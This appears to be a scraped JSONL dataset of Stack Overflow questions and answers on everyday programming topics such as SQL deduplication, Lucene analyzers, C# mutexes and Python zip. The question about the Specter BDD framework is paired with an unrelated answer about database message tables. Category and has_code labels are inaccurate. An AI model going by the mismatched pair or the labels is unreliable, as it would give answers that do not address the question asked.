{"id": "hf_161cce34994f", "question": "<p>When opening a file from your hard drive into your browser, where is the document root?  To illustrate, given the following HTML code, if the page is opened from the local machine <code>(file:///)</code> then where should the <code>css</code> file be for the browser to find it?</p>\n\n<pre><code>&lt;link href=\"/temp/test.css\" rel=\"stylesheet\" type=\"text/css\" /&gt;\n</code></pre>\n", "question_body": "", "answer": "It depends on what browser you use, but Internet Explorer, for example, would take you to the root directory of your harddrive (eg.\n```\nC:/\n```\n), while browsers such as Firefox does nothing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.920181"}
{"id": "hf_eaf83deb4fc3", "question": "<p>I need to remove duplicate rows from a fairly large SQL Server table (i.e. 300,000+ rows).</p>\n<p>The rows, of course, will not be perfect duplicates because of the existence of the <code>RowID</code> identity field.</p>\n<p><strong>MyTable</strong></p>\n<pre><code>RowID int not null identity(1,1) primary key,\nCol1 varchar(20) not null,\nCol2 varchar(2048) not null,\nCol3 tinyint not null\n</code></pre>\n<p>How can I do this?</p>\n", "question_body": "", "answer": "There's a good article on\nremoving duplicates\non the Microsoft Support site. It's pretty conservative - they have you do everything in separate steps - but it should work well against large tables.\nI've used self-joins to do this in the past, although it could probably be prettied up with a HAVING clause:\n```\n```\nDELETE dupes\nFROM MyTable dupes, MyTable fullTable\nWHERE dupes.dupField = fullTable.dupField \nAND dupes.secondDupField = fullTable.secondDupField \nAND dupes.uniqueField > fullTable.uniqueField\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.944505"}
{"id": "hf_fad51fe8bbdb", "question": "<p>I am developing a J2ME application that has a large amount of data to store on the device (in the region of 1MB but variable). I can't rely on the file system so I'm stuck the Record Management System (RMS), which allows multiple record stores but each have a limited size. My initial target platform, Blackberry, limits each to 64KB.</p>\n\n<p>I'm wondering if anyone else has had to tackle the problem of storing a large amount of data in the RMS and how they managed it? I'm thinking of having to calculate record sizes and split one data set accross multiple stores if its too large, but that adds a lot of complexity to keep it intact.</p>\n\n<p>There is lots of different types of data being stored but only one set in particular will exceed the 64KB limit.</p>\n", "question_body": "", "answer": "I think the most flexible approach would be to implement your own file system on top of the RMS. You can handle the RMS records in a similar way as blocks on a hard drive and use a\ninode structure\nor similar to spread logical files over multiple blocks. I would recommend implementing a byte or stream-oriented interface on top of the blocks, and then possibly making another API layer on top of that for writing special data structures (or simply make your objects serializable to the data stream).\nTanenbaum's classical book on operating systems\ncovers how to implement a simple file system, but I am sure you can find other resources online if you don't like paper.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:52.042569"}
{"id": "hf_af8e996301db", "question": "<p>I want to use Lucene (in particular, Lucene.NET) to search for email address domains.</p>\n\n<p>E.g. I want to search for \"@gmail.com\" to find all emails sent to a gmail address.</p>\n\n<p>Running a Lucene query for \"*@gmail.com\" results in an error, asterisks cannot be at the start of queries. Running a query for \"@gmail.com\" doesn't return any matches, because \"foo@gmail.com\" is seen as a whole word, and you cannot search for just parts of a word.</p>\n\n<p>How can I do this?</p>\n", "question_body": "", "answer": "No one gave a satisfactory answer, so we started poking around Lucene documentation and discovered we can accomplish this using custom Analyzers and Tokenizers.\nThe answer is this: create a WhitespaceAndAtSymbolTokenizer and a WhitespaceAndAtSymbolAnalyzer, then recreate your index using this analyzer. Once you do this, a search for \"@gmail.com\" will return all gmail addresses, because it's seen as a separate word thanks to the Tokenizer we just created.\nHere's the source code, it's actually very simple:\n```\n```\nclass WhitespaceAndAtSymbolTokenizer : CharTokenizer\n{\n    public WhitespaceAndAtSymbolTokenizer(TextReader input)\n        : base(input)\n    {\n    }\n\n    protected override bool IsTokenChar(char c)\n    {\n        // Make whitespace characters and the @ symbol be indicators of new words.\n        return !(char.IsWhiteSpace(c) || c == '@');\n    }\n}\n\ninternal class WhitespaceAndAtSymbolAnalyzer : Analyzer\n{\n    public override TokenStream TokenStream(string fieldName, TextReader reader)\n    {\n        return new WhitespaceAndAtSymbolTokenizer(reader);\n    }\n}\n```\n```\nThat's it! Now you just need to rebuild your index and do all searches using this new Analyzer. For example, to write documents to your index:\n```\n```\nIndexWriter index = new IndexWriter(indexDirectory, new WhitespaceAndAtSymbolAnalyzer());\nindex.AddDocument(myDocument);\n```\n```\nPerforming searches should use the analyzer as well:\n```\n```\nIndexSearcher searcher = new IndexSearcher(indexDirectory);\nQuery query = new QueryParser(\"TheFieldNameToSearch\", new WhitespaceAndAtSymbolAnalyzer()).Parse(\"@gmail.com\");\nHits hits = query.Search(query);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:52.066747"}
{"id": "hf_222361a239ba", "question": "<p>After upgrading to the latest version of TortoiseSVN (1.5.2.13595), it's context menu is no longer available.</p>\n\n<p>When attempting to run it manually, I get this error:</p>\n\n<pre><code>The application has failed to start because its side-by-side configuration is incorrect.\nPlease see the application event log for more detail\n</code></pre>\n\n<p>The application log shows this</p>\n\n<pre><code>Activation context generation failed for \"C:\\Program Files\\TortoiseSVN\\bin\\TortoiseSVN.dll\". \nDependent Assembly Microsoft.VC90.CRT,processorArchitecture=\"x86\",publicKeyToken=\"1fc8b3b9a1e18e3b\",type=\"win32\",version=\"9.0.30411.0\" could not be found. \nPlease use sxstrace.exe for detailed diagnosis.\n</code></pre>\n", "question_body": "", "answer": "I remembered I'd seen this thing before just after posting to SO\nIt seems that later versions of TortoiseSVN are built with Visual Studio 2008 SP1 (hence the 9.0.30411.0 build number)\nInstalling the\nVC2008 SP1 Redistributable\nfixes it", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:52.118879"}
{"id": "hf_5109ec8d2cf7", "question": "<p>I have a project that utilizes the javax.mail.internet.MimeMessage and other related classes that does mime parsing for emails that we receive. This needs to be ported to .NET.</p>\n\n<p>What .Net 3rd party or built in library can I use to replace the Java classes that I'm using?</p>\n\n<p>EDIT: Anything change in the last 9 months since I asked this question?</p>\n", "question_body": "", "answer": "I've not used javax.mail.internet.MimeMessage, so I can't say how any of this compares, but .NET 2.0 and beyond does have a\nSystem.Net.Mime\nnamespace which might have something useful for you.\nOtherwise, I used\nChilkat MIME .NET\na long time ago and was happy with it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:52.169923"}
{"id": "hf_68c95d9bbd9a", "question": "<p>I'm asking with regards to c#, but I assume its the same in most other languages.</p>\n\n<p>Does anyone have a good definition of <em>expressions</em> and <em>statements</em> and what the differences are?</p>\n", "question_body": "", "answer": "Expressions can be evaluated to get a value, whereas statements don't return a value (they're of type\nvoid\n).\nFunction call expressions can also be considered statements of course, but unless the execution environment has a special built-in variable to hold the returned value, there is no way to retrieve it.\nStatement-oriented languages require all procedures to be a list of statements. Expression-oriented languages, which is probably all functional languages, are lists of expressions, or in tha case of LISP, one long S-expression that represents a list of expressions.\nAlthough both types can be composed, most expressions can be composed arbitrarily as long as the types match up. Each type of statement has its own way of composing other statements, if they can do that all. Foreach and if statements require either a single statment or that all subordinate statements go in a statement block, one after another, unless the substatements allow for thier own substatements.\nStatements can also include expressions, where an expression doesn't really include any statements. One exception, though, would be a lambda expression, which represents a function, and so can include anything a function can iclude unless the language only allows for limited lambdas, like Python's single-expression lambdas.\nIn an expression-based language, all you need is a single expression for a function since all control structures return a value (a lot of them return NIL). There's no need for a return statement since the last-evaluated expression in the function is the return value.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:52.229850"}
{"id": "hf_78c8cc0ec58d", "question": "<p>Using C# and WPF under .NET (rather than <a href=\"http://en.wikipedia.org/wiki/Windows_Forms\" rel=\"noreferrer\">Windows Forms</a> or console), what is the correct way to create an application that can only be run as a single instance?</p>\n\n<p>I know it has something to do with some mythical thing called a mutex, rarely can I find someone that bothers to stop and explain what one of these are.</p>\n\n<p>The code needs to also inform the already-running instance that the user tried to start a second one, and maybe also pass any command-line arguments if any existed.</p>\n", "question_body": "", "answer": "From\nhere\n.\nA common use for a cross-process Mutex is to ensure that only instance of a program can run at a time. Here's how it's done:\n```\n```\nclass OneAtATimePlease {\n\n  // Use a name unique to the application (eg include your company URL)\n  static Mutex mutex = new Mutex (false, \"oreilly.com OneAtATimeDemo\");\n\n  static void Main()\n  {\n    // Wait 5 seconds if contended – in case another instance\n    // of the program is in the process of shutting down.\n    if (!mutex.WaitOne(TimeSpan.FromSeconds (5), false))\n    {\n        Console.WriteLine(\"Another instance of the app is running. Bye!\");\n        return;\n    }\n\n    try\n    {    \n        Console.WriteLine(\"Running - press Enter to exit\");\n        Console.ReadLine();\n    }\n    finally\n    {\n        mutex.ReleaseMutex();\n    }    \n  }    \n}\n```\n```\nA good feature of Mutex is that if the application terminates without ReleaseMutex first being called, the CLR will release the Mutex automatically.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:52.255338"}
{"id": "hf_00c1c16053e8", "question": "<p>How would one create an iterative function (or iterator object) in python?</p>\n", "question_body": "", "answer": "First of all the\nitertools module\nis incredibly useful for all sorts of cases in which an iterator would be useful, but here is all you need to create an iterator in python:\nyield\nIsn't that cool?  Yield can be used to replace a normal\nreturn\nin a function.  It returns the object just the same, but instead of destroying state and exiting, it saves state for when you want to execute the next iteration.  Here is an example of it in action pulled directly from the\nitertools function list\n:\n```\n```\ndef count(n=0):\n    while True:\n        yield n\n        n += 1\n```\n```\nAs stated in the functions description (it's the\ncount()\nfunction from the itertools module...) , it produces an iterator that returns consecutive integers starting with n.\nGenerator expressions\nare a whole other can of worms (awesome worms!).  They may be used in place of a\nList Comprehension\nto save memory (list comprehensions create a list in memory that is destroyed after use if not assigned to a variable, but generator expressions can create a Generator Object... which is a fancy way of saying Iterator). Here is an example of a generator expression definition:\n```\n```\ngen = (n for n in xrange(0,11))\n```\n```\nThis is very similar to our iterator definition above except the full range is predetermined to be between 0 and 10.\nI just found\nxrange()\n(suprised I hadn't seen it before...) and added it to the above example.\nxrange()\nis an iterable version of\nrange()\nwhich has the advantage of not prebuilding the list.  It would be  very useful if you had a giant corpus of data to iterate over and only had so much memory to do it in.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:52.279598"}
{"id": "hf_b31d1dd21607", "question": "<p>Does anyone use Accurev for Source Control Management? We are switching (eventually) from StarTeam to Accurev.</p>\n\n<p>My initial impression is that the GUI tool is severely lacking, however the underlying engine, and the branches as streams concept is incredible.</p>\n\n<p>The biggest difficulty we are facing is assessing our own DIY tools that interfaced with starteam, and either replacing them with DIY new tools, or finding and purchasing appropriate replacements.</p>\n\n<p>Additionally, is anyone using the AccuWork component for Issue management? Starteam had a very nice change request system, and AccuWork does not come close to matching it. We are evaluating either using Accuwork, or buying a 3rd party package such as JIRA.</p>\n\n<p>Opinions?</p>\n", "question_body": "", "answer": "At a previous employer we reviewed Accurev and Plastic SCM. At the end of the day, I was not impressed with Accurev's interface, or the so-called \"streams\". We went with Plastic, and nobody complained.\n@Jonathan\nThe streams are interesting,but I don't see how any version control can magically avoid collisions when two people touch the same code in the same file. Accurev's model was intriguing, but at the end of the day, nice clean branching and merging with a drop dead easy interface made Plastic the choice for us. Plastic's timeline view (I forget the actual name), showing the branch/merge/check-in history made it very simple to review the history of the project from a bird's eye view.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:52.341046"}
{"id": "hf_1e854d3cd708", "question": "<p>In my code behind I wire up my events like so:</p>\n\n<pre><code>protected override void OnInit(EventArgs e)\n{\n    base.OnInit(e);\n    btnUpdateUser.Click += btnUpateUserClick;\n}\n</code></pre>\n\n<p>I've done it this way because that's what I've seen in examples. </p>\n\n<ul>\n<li>Does the base.OnInit() method need to be called? </li>\n<li>Will it be implicitly be called? </li>\n<li>Is it better to call it at the beginning of the method or at the end? </li>\n<li>What would be an example where confusion over the base method can get you in trouble?    </li>\n</ul>\n", "question_body": "", "answer": "In this case, if you don't call the base OnInit, then the Init even will not fire.\nIn general, it is best practice to ALWAYS call the base method, unless you specifically know that you do not want the base behaviour to occur.\nWhether its called at the start or the end depends on how you want things to work. In a case like this, where you are using an override instead of hooking up an event handler, calling it at the start of the method makes more sense. That way, your code will run after any handlers, which makes it more emulate a \"normal\" event handler.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:52.404133"}
{"id": "hf_6642922cca7d", "question": "<p>I'd like to use a database to store i18n key/value pairs so we can modify / reload the i18n data at runtime. Has anyone done this? Or does anyone have an idea of how to implement this? I've read several threads on this, but I haven't seen a workable solution.</p>\n\n<p>I'm specifically refering to something that would work with the jstl tags such as</p>\n\n<pre><code>&lt;fmt:setlocale&gt;\n&lt;fmt:bundle&gt;\n&lt;fmt:setBundle&gt;\n&lt;fmt:message&gt;\n</code></pre>\n\n<p>I think this will involve extending ResourceBundle, but when I tried this I ran into problems that had to do with the way the jstl tags get the resource bundle.</p>\n", "question_body": "", "answer": "Are you just asking how to store UTF-8/16 characters in a DB? in mysql it's just a matter of making sure you build with UTF8 support and setting that as the default, or specifying it at the column or table level. I've done this in oracle and mysql before. Create a table and cut and paste some i18n data into it and see what happens... you might be set already..\nor am I completely missing your point?\nedit:\nto be more explicit... I usually implement a three column table... language, key, value... where \"value\" contains potentially foreign language words or phrases... \"language\" contains some language key and \"key\" is an english key (i.e. login.error.password.dup)... language and key are indexed...\nI've then built interfaces on a structure like this that shows each key with all its translations (values)... it can get fancy and include audit trails and \"dirty\" markers and all the other stuff you need to enable translators and data entry folk to make use of it..\nEdit 2:\nNow that you added the info about the JSTL tags, I understand a bit more... I've never done that myself.. but I found this old info on\ntheserverside\n...\n```\n```\nHttpSession session = .. [get hold of the session] \nResourceBundle bundle = new PropertyResourceBundle(toInputStream(myOwnProperties)) [toInputStream just stores the properties into an inputstream] \nLocale locale = .. [get hold of the locale]\njavax.servlet.jsp.jstl.core.Config.set(session, Config.FMT_LOCALIZATION_CONTEXT, new LocalizationContext(bundle ,locale));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:52.427801"}
{"id": "hf_404a0255939f", "question": "<p>I have a list of 2-item tuples and I'd like to convert them to 2 lists where the first contains the first item in each tuple and the second list holds the second item.</p>\n\n<p><strong>For example:</strong></p>\n\n<pre><code>original = [('a', 1), ('b', 2), ('c', 3), ('d', 4)]\n# and I want to become...\nresult = (['a', 'b', 'c', 'd'], [1, 2, 3, 4])\n</code></pre>\n\n<p>Is there a builtin function that does that?</p>\n", "question_body": "", "answer": "```\nzip\n```\nis its own inverse! Provided you use the special * operator.\n```\n```\n>>> zip(*[('a', 1), ('b', 2), ('c', 3), ('d', 4)])\n[('a', 'b', 'c', 'd'), (1, 2, 3, 4)]\n```\n```\nThe way this works is by calling\n```\nzip\n```\nwith the arguments:\n```\n```\nzip(('a', 1), ('b', 2), ('c', 3), ('d', 4))\n```\n```\n… except the arguments are passed to\n```\nzip\n```\ndirectly (after being converted to a tuple), so there's no need to worry about the number of arguments getting too big.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:52.476672"}
{"id": "hf_c09b39922cd5", "question": "<p>I've heard rumors that PHP is planning on introducing a \"goto\" command. What is it supposed to be doing?</p>\n\n<p>I've tried searching a bit, but haven't found anything awfully descriptive. I understand that it won't be a \"<code>GOTO 10</code>\"-like command...</p>\n", "question_body": "", "answer": "Granted, I am not a PHP programmer, and I don't know what PHP's exact implementation of GOTO will look like, but here is my understanding of GOTO:\nGOTO is just a more explicit flow control statement like any other. Let's say you have some nested loops and you only need to find one thing. You can put in a conditional statement (or several) and when conditions are met properly, you can use a GOTO statement to get out of all the loops, (instead of having a 'break' statement at each level of nesting with a conditional statement for each. And yes, I believe the traditional implementation is to have named labels that the GOTO statement can jump to by name. You can do something like this:\n```\n```\nfor(...) {\n    for (...) {\n        for (...) {\n        // some code\n        if (x) GOTO outside;\n        }\n    }\n} \n:outside\n```\n```\nThis is a simpler (and more efficient) implementation than without GOTO statements. The equivalent would be:\n```\n```\nfor(...) {\n    for (...) {\n        for (...) {\n            // some code\n            if (x) break;\n        }\n        if(x) break;\n    }\n    if(x) break;\n}\n```\n```\nIn the second case (which is common practice) there are three conditional statements, which is obviously slower than just having one. So, for optimization/simplification reasons, you might want to use GOTO statements in tightly nested loops.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:52.585594"}
{"id": "hf_5362ea995962", "question": "<p>How can I request a random row (or as close to truly random as is possible) in pure SQL?</p>\n", "question_body": "", "answer": "I don't know how efficient this is, but I've used it before:\n```\n```\nSELECT TOP 1 * FROM MyTable ORDER BY newid()\n```\n```\nBecause GUIDs are pretty random, the ordering means you get a random row.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:52.623362"}
{"id": "hf_d42ab0a5a950", "question": "<p>I have a datalist with a OnDeleteCommand=\"Delete_Command\".</p>\n\n<p>I want the delete a record with multiple primary Keys but I do not know how to access it from the Delete_Command event.</p>\n\n<p>If I use DataKeyField I'm limited to only one key.\nAny workarounds for this?</p>\n", "question_body": "", "answer": "You can access all of the keys:\n```\n```\ngridView.DataKeys[rowNum][dataKeyName]\n```\n```\nwhere rowNum is e.RowIndex from the gridView_RowDeleting event handler, and dataKeyName is the key you want to get:\n```\n```\n<asp:GridView ID=\"gridView\" runat=\"server\" DataKeyNames=\"userid, id1, id2, id3\" OnRowDeleting=\"gridView_RowDeleting\">\n\nprotected void gridView_RowDeleting(object sender, GridViewDeleteEventArgs e)\n{\n    gridView.DataKeys[e.RowIndex][\"userid\"]...\n    gridView.DataKeys[e.RowIndex][\"id1\"]...\n    gridView.DataKeys[e.RowIndex][\"id2\"]...\n    gridView.DataKeys[e.RowIndex][\"id3\"]...\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:52.659757"}
{"id": "hf_b8f5328a8e47", "question": "<p>How can I create this file in a directory in windows 2003 SP2:</p>\n\n<pre><code>.hgignore\n</code></pre>\n\n<p>I get error: You must type a file name.</p>\n", "question_body": "", "answer": "That's a \"feature\" of Windows Explorer. Try to create your files from a command line (or from a batch/program you wrote) and it should work fine. Try this from a dos prompt:\n```\n```\necho Hello there! > .hgignore\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:52.695901"}
{"id": "hf_08ef6a910948", "question": "<p>I have a standard HTML image tag with an image in it, 100 by 100 pixels in size. I want people to be able to click the image and for that to pass the X and Y that they click into a function.</p>\n\n<p>The coordinates need to be relative to the image top and left.</p>\n", "question_body": "", "answer": "I think you're talking about:\n```\n```\n<input id=\"info\" type=\"image\">\n```\n```\nWhen submitted, there are form values for the x and y coordinate based on the input element id (\n```\ninfo.x\n```\nand\n```\ninfo.y\n```\nin this case).\nhttp://www.w3.org/TR/REC-html40/interact/forms.html#h-17.4.1", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:52.768495"}
{"id": "hf_74dc27703307", "question": "<p>How can I check <code>file permissions</code>, without having to run operating system specific command via <code>passthru()</code> or <code>exec()</code>?</p>\n", "question_body": "", "answer": "What do you want to do by checking file permissions?\nWhen writing secure code, it's almost always incorrect to \"check, then do\" anything.  The reason is that between the checking whether you can do something and actually doing it, the state of the system could change such that doing it would have a different result.\nFor example, if you check whether a file exists before writing one, don't check whether you wrote the file successfully (or don't check in a detailed-enough fashion), and then later depend on the contents of the file you wrote, you could actually be reading a file written by an attacker.\nSo instead of checking file permissions, just do whatever it was you were going to do if the permissions check succeeded, and handle errors gracefully.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:52.796888"}
{"id": "hf_71d68fefb5d7", "question": "<p>I was reading the example chapter from <a href=\"http://www.manning.com/rahien/\" rel=\"nofollow noreferrer\">the book by Ayende</a> and on the website of <a href=\"http://boo.codehaus.org/\" rel=\"nofollow noreferrer\">the Boo language</a> I saw a reference to the <a href=\"http://specter.sourceforge.net/\" rel=\"nofollow noreferrer\">Specter BDD Framework</a>.</p>\n\n<p>I am wondering if anybody is using it in their project, how that works out and if there are more examples and/or suggested readings.</p>\n\n<p>Just in case you are wondering, I'm a C# developer and so I plan to use it in a C#/.NET environment.</p>\n\n<hr>\n\n<p>A few year later visiting this question. I think we can safely assume <a href=\"http://www.specflow.org/\" rel=\"nofollow noreferrer\">Specflow</a> and some others like <a href=\"http://nspec.org/\" rel=\"nofollow noreferrer\">NSpec</a> became the tools we are using.</p>\n", "question_body": "", "answer": "Create one Message table, containing a unique MessageId and the various properties you need to store for a message.\n```\n```\nTable: Message\nFields: Id, TimeReceived, MessageDetails, WhateverElse...\n```\n```\nCreate two link tables - QuoteMessage and JobMessage. These will just contain two fields each, foreign keys to the Quote/Job and the Message.\n```\n```\nTable: QuoteMessage\nFields: QuoteId, MessageId\n\nTable: JobMessage\nFields: JobId, MessageId\n```\n```\nIn this way you have defined the data properties of a Message in one place only (making it easy to extend, and to query across all messages), but you also have the referential integrity linking Quotes and Jobs to any number of messages. Indeed, both a Quote and Job could be linked to the\nsame\nmessage (I'm not sure if that is appropriate to your business model, but at least the data model gives you the option).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:52.855747"}
{"id": "hf_4603a6a1fe1a", "question": "<p>I have an Interface called <code>IStep</code> that can do some computation (See \"<a href=\"http://steve-yegge.blogspot.com/2006/03/execution-in-kingdom-of-nouns.html\" rel=\"nofollow noreferrer\">Execution in the Kingdom of Nouns</a>\"). At runtime, I want to select the appropriate implementation by class name.</p>\n\n<pre>\n// use like this:\nIStep step = GetStep(sName);\n</pre>\n", "question_body": "", "answer": "If the implementation has a parameterless constructor, you can do this using the System.Activator class. You will need to specify the assembly name in addition to the class name:\n```\n```\nIStep step = System.Activator.CreateInstance(sAssemblyName, sClassName).Unwrap() as IStep;\n```\n```\nhttp://msdn.microsoft.com/en-us/library/system.activator.createinstance.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:52.966763"}
{"id": "hf_d0f7fe3e3f7c", "question": "<p>To grab the inode of a file in PHP, you can use this:</p>\n\n<pre><code>$fs = stat($file);\necho $fs['ino'];\n</code></pre>\n\n<p>The problem with this is EVERYWHERE says it's slow and you should avoid it.  So the question becomes what's the fast(er) way to do it?</p>\n", "question_body": "", "answer": "You could use\n```\nfileinode()\n```\nbut you should run benchmarks if you think it is slow.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:52.990021"}
{"id": "hf_51aa3f568a57", "question": "<p>I'm leading a project where we'll be recording metrics data. I'd like to retain the data for years. However, I'd also like to keep the primary table from becoming bloated with data that, while necessary for long term trending, isn't required for short term reporting.</p>\n\n<p>What is the best strategy for handling this situation? Simply archive the old data to another table? Or \"roll it up\" via some consolidation of the data itself (and then store it off to a different table)? Or something else entirely?</p>\n\n<p><i>Additional info: we are using SQL Server 2005.</i></p>\n", "question_body": "", "answer": "Either of those options are excellent, but it really depends on the problem domain. For things like cash balances or statistical data, I think that rolling up records and consolidating them is the best way, you can then move the rolled up records into a parallel archive table, keying them in such a way that you can \"unroll\" if necessary. This keeps your primary data table clean and quick, but allows you to retain the extra data for auditing or whatever. The key question is, how do you implement the \"roll-up\" process. Either automatically, via a trigger or server side process, or by user intervention at the application level?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:53.037052"}
{"id": "hf_84865b1f6ba2", "question": "<p>What would be the best way to have a list of items with a checkbox each in Java Swing?</p>\n\n<p>I.e. a JList with items that have some text and a checkbox each?</p>\n", "question_body": "", "answer": "I'd probably be looking to use a\nJTable\nrather than a\nJList\nand since the default rendering of a checkbox is rather ugly, I'd probably be looking to drop in a custom\nTableModel\n,\nCellRenderer\nand\nCellEditor\nto represent a boolean value. Of course, I would imagine this has been done a bajillion times already. Sun has\ngood examples\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:53.084830"}
{"id": "hf_4b72cacdb5e7", "question": "<p>I have a huge web app that is having issues with memory leak in IE 6.</p>\n\n<p>Fixing a memory leak in a 5 line code sample that demonstrates the problem is easy. </p>\n\n<p>But if I have a very huge application, where should a start from?</p>\n", "question_body": "", "answer": "Check out\nDrip\n.  That usually takes the guesswork out of IE memory leaks.\nIf for some reason Drip doesn't find it, take a close look at any JavaScript code that works with events.  That is almost always the source of any significant memory leak in a browser.\nDestroying a DOM element with handlers attached to it, without removing those handlers first, will prevent the memory associated with those handlers from being recovered.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:53.121265"}
{"id": "hf_231dfc6c84c5", "question": "<p>By default each row of a Gridview maps to each row in a datatable or dataset attached to its datasource. But what if I want to display these rows in multiple columns. For example if it has 10 rows, 5 rows each should be displayed in 2 columns side by side. Also can I do this with the Infragistics grid. Is this possible?</p>\n", "question_body": "", "answer": "You can use a\n```\nDataList\n```\ncontrol instead. It has a\n```\nRepeatColumns\n```\nproperty that you can define the number of columns you want to display.\nIn .NET Framework 3.5, there is an even better solution, the\n```\nListView\n```\ncontrol. You can find further information about how to use the ListView control\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:53.168956"}
